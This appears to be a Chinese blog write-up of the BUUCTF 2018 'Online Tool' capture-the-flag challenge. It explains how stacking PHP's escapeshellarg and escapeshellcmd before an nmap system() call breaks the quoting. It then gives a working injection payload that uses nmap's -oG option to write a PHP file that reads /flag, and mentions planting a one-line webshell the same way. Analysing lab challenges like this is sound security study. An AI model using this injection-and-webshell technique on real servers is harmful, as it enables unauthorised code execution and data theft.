首页 > 其他分享 >[BUUCTF 2018]Online Tool 1

[BUUCTF 2018]Online Tool 1

时间:2024-09-08 22:51:35浏览次数:1  
标签:BUUCTF Tool 0.2 sandbox SERVER host 2018 172.17 escapeshellcmd

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

还是太菜了,一步一步来吧(呜呜呜)
首先看代码

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

判断$_SERVER['HTTP_X_FORWARDED_FOR']是否存在,如果存在,将它的值赋给$_SERVER['REMOTE_ADDR']

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
}

检查host是否设置,如果没有设置则点亮代码,否则执行下面语句

else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

主要看这个 $host = escapeshellarg($host); $host = escapeshellcmd($host);
escapeshellarg和escapeshellcmd是两个php函数
escapeshellarg:
返回一个转义的字符串,并且结果会被单引号包裹起来
escapeshellcmd:
将下面这些字符转义,即加上\,确保不会解释为shell操作符

&
;
|
'
"
>
<
\
*
?
~
^
(
)
[
]
{
}
$
\n

最后的部分

    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    //创建一个沙盒名称
    echo 'you are in sandbox '.$sandbox;
    //输出沙盒信息
    @mkdir($sandbox);
    //创建沙盒目录
    chdir($sandbox);
    //进入沙盒目录
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    //-T5: 设置扫描的速度,T5 是最快的扫描模式
    //-sT: 执行TCP连接扫描
    //-Pn: 禁用主机发现,假设目标主机是在线的
    //--host-timeout 2: 设置超时为2秒,如果扫描主机超时,则跳过
    //-F: 快速扫描,只扫描一些常见端口
    //".$host": 这是要扫描的目标主机,变量 $host 代表了目标主机的地址
传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

nmap命令中有个参数 -oG 可以实现将命令和结果写到文件,所以这里我们就可以通过这个命令写入一句话木马或者直接cat flag,以此来执行命令
?host=' <?php echo `cat /flag`;?> -oG test.php '
最后访问url/题目生成的md5值/test.php

标签:BUUCTF,Tool,0.2,sandbox,SERVER,host,2018,172.17,escapeshellcmd
From: https://www.cnblogs.com/lcmz/p/18403669

相关文章

  • 配置PHP的Session存储到Mysql / Redis / memcache 以及使用opcache以及apc缓存清除工
    一、配置PHP的Session存储到Mysql,Redis以及memcache等        PHP的会话默认是以文件的形式存在的,可以通过简单的配置到将Session存储到NoSQL中,即提高了访问速度,又能很好地实现会话共享!1.默认配置:session.save_handler=filessession.save_path=/tmp/2.配......
  • 《足球经理2018》启动失败?深度解析为何《足球经理2018》会报GfxCore.dll错误及解决方
    《足球经理2018》启动失败并报告GfxCore.dll错误是一个常见的问题,这通常与游戏的图形处理相关文件缺失或损坏有关。下面是对这一问题的深度解析及解决方法:深度解析1.文件缺失或损坏:GfxCore.dll是《足球经理2018》及其相关图形处理功能所依赖的动态链接库文件。如果该文件......
  • 【工具推荐】0x7eTeamTools v1.2(最新版) -全能的渗透测试工具,一键getshell
    工具介绍:0x7eTeamTools是一个集成了多种渗透测试功能,javafx练习,JS接口提取,漏洞检测的工具,旨在帮助用户进行高效、全面的网络安全测试。从基本的编码转换到复杂的空间测绘和漏洞检测,这款工具提供了全方位的功能支持。下载链接:链接:https://pan.quark.cn/s/8c4268ee6b79软......
  • php审计[HCTF 2018]WarmUp 1
    <?phphighlight_file(__FILE__);//这个函数会将当前PHP文件的源代码以高亮方式显示出来,便于调试或展示源代码。classemmm{publicstaticfunctioncheckFile(&$page)//这个方法接受一个引用类型的参数$page,用于检查请求的文件是否在允许的文件白名......
  • 判断两个map的key 是否完全一致,key完全一致的情况下 判断key对应的值是否一致,一致返回
    你可以通过以下代码来判断两个Map的键是否完全一致,并且键对应的值是否一致:importjava.util.Map;publicclassMapComparer{publicstatic<K,V>booleanareMapsEqual(Map<K,V>map1,Map<K,V>map2){if(map1.size()!=map2.size()){retur......
  • 记录BUUCTF 中 的一道hook掉函数地址的题目
    题目[Zer0pts2020]easystrcmp1https://files.buuoj.cn/files/2961ba55f464e750aca703838dfca234/easy_strcmp_e1a6208fde4f52fd0c653c0b7e8ff614.tar.gz刚开始在main函数中发现if(!strcmp(a2[1],"zer0pts{********CENSORED********}"))puts("Correct!......
  • 基于Hutool技术Excel表格导出
    今天分享一下基于Hutool技术Excel表格导出,我们先看看导出Excel表格的样子第1步:引入maven依赖<dependencies><dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.3.3</version>&l......
  • 使用itertools 中的groupby 对字典数组进行分组后排序
    有个需求需要对数据进行分组然后对分组后的组内数据继续排序fromitertoolsimportgroupby#示例数据data=[{'a':"攻击队1",'b':'张三','c':3},{'a':"攻击队1",'b':'张三1','c':1},......
  • Percona Toolkit 神器全攻略(复制类)
    PerconaToolkit神器全攻略(复制类)PerconaToolkit神器全攻略系列共八篇,前文回顾:前文回顾PerconaToolkit神器全攻略PerconaToolkit神器全攻略(实用类)PerconaToolkit神器全攻略(配置类)PerconaToolkit神器全攻略(监控类)PerconaToolkit神器全攻略(系统......
  • element-plus中的el-table组件tooltip显示错位
    问题描述:element-plus组件库中的el-table组件有一个show-overflow-tooltip属性,设置为true时如果表格中数据过长就会显示一个浮动窗口就像这样而有时这个小浮窗会有错位的问题像是这样,会导致靠上的列浮窗直接越界不显示问题原因table下的tooltip是fixed定位。positi......